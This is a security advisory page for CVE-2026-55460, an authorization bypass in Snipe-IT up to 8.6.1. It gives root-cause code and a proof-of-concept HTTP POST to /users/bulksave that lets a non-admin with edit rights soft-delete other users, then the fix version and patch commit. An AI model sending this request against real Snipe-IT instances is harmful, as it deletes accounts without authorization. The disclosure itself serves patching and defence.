CVE-2026-55460: Snipe-IT has an authorization bypass on bulk editing users
Impact An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Published Aug 28, 2026
Affected packages
snipe/snipe-it
- Ecosystem
- Composer (PHP)
- Affected
- <= 8.6.1
- Fixed in
- 8.6.2
- Check
composer show snipe/snipe-it
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}The attacker does not have users.delete, admin, or superuser.
Affected Component
routes/web/users.php
app/Http/Controllers/Users/BulkUsersController.php
- Endpoint:
POST /users/bulksave
Root Cause
The UI only exposes bulk delete to users with delete permission:
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcanThe confirmation path also checks delete:
} elseif ($request->input('bulk_actions') == 'delete') {
$this->authorize('delete', User::class);However, the destructive route is registered separately:
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');and destroy() authorizes only update:
public function destroy(Request $request)
{
$this->authorize('update', User::class);When delete_user=1 is present, the method reaches:
$user->delete();Proof of Concept
- Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete.
- Create a harmless non-admin target user.
- Log in as the attacker and obtain a valid CSRF token.
- Send:
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded
_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>Observed response:
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/usersPatches
Patched in 374f426f0c
Credited to mamdouhmahfouz.
References
- https://github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9
- https://nvd.nist.gov/vuln/detail/CVE-2026-55460
- https://github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2
- https://github.com/advisories/GHSA-vgx7-c78r-69w9
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-62368
Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
high8.1Sep 24, 2026CVE-2026-63493
Snipe-IT: 2FA bypass via the API token flow
high8.6Sep 24, 2026CVE-2026-63498
Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API
high8.7Sep 24, 2026CVE-2026-55452
Snipe-IT has CSV formula injection in Activity Report export
medium4.8Aug 28, 2026CVE-2026-55461
Snipe-IT has an Open Redirect After User Edit
medium6.1Aug 28, 2026CVE-2026-55462
Snipe-IT has an authorization bypass on print inventory page
medium4.3Aug 28, 2026
